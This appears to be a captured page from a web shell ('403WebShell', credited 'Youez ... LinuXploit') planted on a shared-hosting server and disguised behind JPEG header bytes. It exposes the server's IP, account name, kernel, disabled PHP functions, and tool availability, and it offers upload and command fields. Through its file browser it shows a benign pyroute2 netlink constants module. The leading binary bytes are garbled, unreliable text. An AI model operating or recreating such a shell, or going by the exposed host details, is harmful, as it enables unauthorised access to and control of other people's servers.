JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.25  /  Your IP : 216.73.217.1
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python311/lib/python3.11/site-packages/pyroute2/netlink/rtnl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python311/lib/python3.11/site-packages/pyroute2/netlink/rtnl/__init__.py
'''
RTNetlink: network setup
========================

RTNL is a netlink protocol, used to get and set information
about different network objects -- addresses, routes, interfaces
etc.

RTNL protocol-specific data in messages depends on the object
type. E.g., complete packet with the interface address information::

    nlmsg header:
        + uint32 length
        + uint16 type
        + uint16 flags
        + uint32 sequence number
        + uint32 pid
    ifaddrmsg structure:
        + unsigned char ifa_family
        + unsigned char ifa_prefixlen
        + unsigned char ifa_flags
        + unsigned char ifa_scope
        + uint32 ifa_index
    [ optional NLA tree ]

NLA for this kind of packets can be of type IFA_ADDRESS, IFA_LOCAL
etc. -- please refer to the corresponding source.

Other objects types require different structures, sometimes really
complex. All these structures are described in sources.

---------------------------

Module contents:

'''

from pyroute2.common import map_namespace

# Useful RTNL related constants from the kernel sources:
IFNAMSIZ = 16
ALTIFNAMSIZ = 128

#  RTnetlink multicast group flags (for use with bind())
RTMGRP_NONE = 0x0
RTMGRP_LINK = 0x1
RTMGRP_NOTIFY = 0x2
RTMGRP_NEIGH = 0x4
RTMGRP_TC = 0x8
RTMGRP_IPV4_IFADDR = 0x10
RTMGRP_IPV4_MROUTE = 0x20
RTMGRP_IPV4_ROUTE = 0x40
RTMGRP_IPV4_RULE = 0x80
RTMGRP_IPV6_IFADDR = 0x100
RTMGRP_IPV6_MROUTE = 0x200
RTMGRP_IPV6_ROUTE = 0x400
RTMGRP_IPV6_IFINFO = 0x800
RTMGRP_DECnet_IFADDR = 0x1000
RTMGRP_NOP2 = 0x2000
RTMGRP_DECnet_ROUTE = 0x4000
RTMGRP_DECnet_RULE = 0x8000
RTMGRP_NOP4 = 0x10000
RTMGRP_IPV6_PREFIX = 0x20000
RTMGRP_IPV6_RULE = 0x40000
RTMGRP_MPLS_ROUTE = 0x4000000

# multicast group ids (for use with {add,drop}_membership)
RTNLGRP_NONE = 0
RTNLGRP_LINK = 1
RTNLGRP_NOTIFY = 2
RTNLGRP_NEIGH = 3
RTNLGRP_TC = 4
RTNLGRP_IPV4_IFADDR = 5
RTNLGRP_IPV4_MROUTE = 6
RTNLGRP_IPV4_ROUTE = 7
RTNLGRP_IPV4_RULE = 8
RTNLGRP_IPV6_IFADDR = 9
RTNLGRP_IPV6_MROUTE = 10
RTNLGRP_IPV6_ROUTE = 11
RTNLGRP_IPV6_IFINFO = 12
RTNLGRP_DECnet_IFADDR = 13
RTNLGRP_NOP2 = 14
RTNLGRP_DECnet_ROUTE = 15
RTNLGRP_DECnet_RULE = 16
RTNLGRP_NOP4 = 17
RTNLGRP_IPV6_PREFIX = 18
RTNLGRP_IPV6_RULE = 19
RTNLGRP_ND_USEROPT = 20
RTNLGRP_PHONET_IFADDR = 21
RTNLGRP_PHONET_ROUTE = 22
RTNLGRP_DCB = 23
RTNLGRP_IPV4_NETCONF = 24
RTNLGRP_IPV6_NETCONF = 25
RTNLGRP_MDB = 26
RTNLGRP_MPLS_ROUTE = 27
RTNLGRP_NSID = 28
RTNLGRP_MPLS_NETCONF = 29
RTNLGRP_IPV4_MROUTE_R = 30
RTNLGRP_IPV6_MROUTE_R = 31

# Types of messages
# RTM_BASE = 16
RTM_NEWLINK = 16
RTM_DELLINK = 17
RTM_GETLINK = 18
RTM_SETLINK = 19
RTM_NEWADDR = 20
RTM_DELADDR = 21
RTM_GETADDR = 22
RTM_NEWROUTE = 24
RTM_DELROUTE = 25
RTM_GETROUTE = 26
RTM_NEWNEIGH = 28
RTM_DELNEIGH = 29
RTM_GETNEIGH = 30
RTM_NEWRULE = 32
RTM_DELRULE = 33
RTM_GETRULE = 34
RTM_NEWQDISC = 36
RTM_DELQDISC = 37
RTM_GETQDISC = 38
RTM_NEWTCLASS = 40
RTM_DELTCLASS = 41
RTM_GETTCLASS = 42
RTM_NEWTFILTER = 44
RTM_DELTFILTER = 45
RTM_GETTFILTER = 46
RTM_NEWACTION = 48
RTM_DELACTION = 49
RTM_GETACTION = 50
RTM_NEWPREFIX = 52
RTM_GETMULTICAST = 58
RTM_GETANYCAST = 62
RTM_NEWNEIGHTBL = 64
RTM_GETNEIGHTBL = 66
RTM_SETNEIGHTBL = 67
RTM_NEWNDUSEROPT = 68
RTM_NEWADDRLABEL = 72
RTM_DELADDRLABEL = 73
RTM_GETADDRLABEL = 74
RTM_GETDCB = 78
RTM_SETDCB = 79
RTM_NEWNETCONF = 80
RTM_DELNETCONF = 81
RTM_GETNETCONF = 82
RTM_NEWMDB = 84
RTM_DELMDB = 85
RTM_GETMDB = 86
RTM_NEWNSID = 88
RTM_DELNSID = 89
RTM_GETNSID = 90
RTM_NEWSTATS = 92
RTM_GETSTATS = 94
RTM_NEWCACHEREPORT = 96
RTM_NEWLINKPROP = 108
RTM_DELLINKPROP = 109
RTM_GETLINKPROP = 110
# fake internal message types
RTM_NEWNETNS = 500
RTM_DELNETNS = 501
RTM_GETNETNS = 502
RTM_NEWPROBE = 504
RTM_DELPROBE = 505
RTM_GETPROBE = 506
(RTM_NAMES, RTM_VALUES) = map_namespace('RTM_', globals())

TC_H_INGRESS = 0xFFFFFFF1
TC_H_CLSACT = TC_H_INGRESS
TC_H_ROOT = 0xFFFFFFFF


RTMGRP_DEFAULTS = (
    RTMGRP_IPV4_IFADDR
    | RTMGRP_IPV6_IFADDR
    | RTMGRP_IPV4_ROUTE
    | RTMGRP_IPV6_ROUTE
    | RTMGRP_IPV4_RULE
    | RTMGRP_IPV6_RULE
    | RTMGRP_NEIGH
    | RTMGRP_LINK
    | RTMGRP_TC
    | RTMGRP_MPLS_ROUTE
)

encap_type = {'unspec': 0, 'mpls': 1, 0: 'unspec', 1: 'mpls'}

rtypes = {
    'RTN_UNSPEC': 0,
    'RTN_UNICAST': 1,  # Gateway or direct route
    'RTN_LOCAL': 2,  # Accept locally
    'RTN_BROADCAST': 3,  # Accept locally as broadcast
    #                        send as broadcast
    'RTN_ANYCAST': 4,  # Accept locally as broadcast,
    #                        but send as unicast
    'RTN_MULTICAST': 5,  # Multicast route
    'RTN_BLACKHOLE': 6,  # Drop
    'RTN_UNREACHABLE': 7,  # Destination is unreachable
    'RTN_PROHIBIT': 8,  # Administratively prohibited
    'RTN_THROW': 9,  # Not in this table
    'RTN_NAT': 10,  # Translate this address
    'RTN_XRESOLVE': 11,
}  # Use external resolver
# normalized
rt_type = dict(
    [(x[0][4:].lower(), x[1]) for x in rtypes.items()]
    + [(x[1], x[0][4:].lower()) for x in rtypes.items()]
)

rtprotos = {
    'RTPROT_UNSPEC': 0,
    'RTPROT_REDIRECT': 1,  # Route installed by ICMP redirects;
    #                        not used by current IPv4
    'RTPROT_KERNEL': 2,  # Route installed by kernel
    'RTPROT_BOOT': 3,  # Route installed during boot
    'RTPROT_STATIC': 4,  # Route installed by administrator
    # Values of protocol >= RTPROT_STATIC are not
    # interpreted by kernel;
    # keep in sync with iproute2 !
    'RTPROT_GATED': 8,  # gated
    'RTPROT_RA': 9,  # RDISC/ND router advertisements
    'RTPROT_MRT': 10,  # Merit MRT
    'RTPROT_ZEBRA': 11,  # Zebra
    'RTPROT_BIRD': 12,  # BIRD
    'RTPROT_DNROUTED': 13,  # DECnet routing daemon
    'RTPROT_XORP': 14,  # XORP
    'RTPROT_NTK': 15,  # Netsukuku
    'RTPROT_DHCP': 16,
}  # DHCP client
# normalized
rt_proto = dict(
    [(x[0][7:].lower(), x[1]) for x in rtprotos.items()]
    + [(x[1], x[0][7:].lower()) for x in rtprotos.items()]
)

rtscopes = {
    'RT_SCOPE_UNIVERSE': 0,
    'RT_SCOPE_SITE': 200,
    'RT_SCOPE_LINK': 253,
    'RT_SCOPE_HOST': 254,
    'RT_SCOPE_NOWHERE': 255,
}
# normalized
rt_scope = dict(
    [(x[0][9:].lower(), x[1]) for x in rtscopes.items()]
    + [(x[1], x[0][9:].lower()) for x in rtscopes.items()]
)

Youez - 2016 - github.com/yon3zu
LinuXploit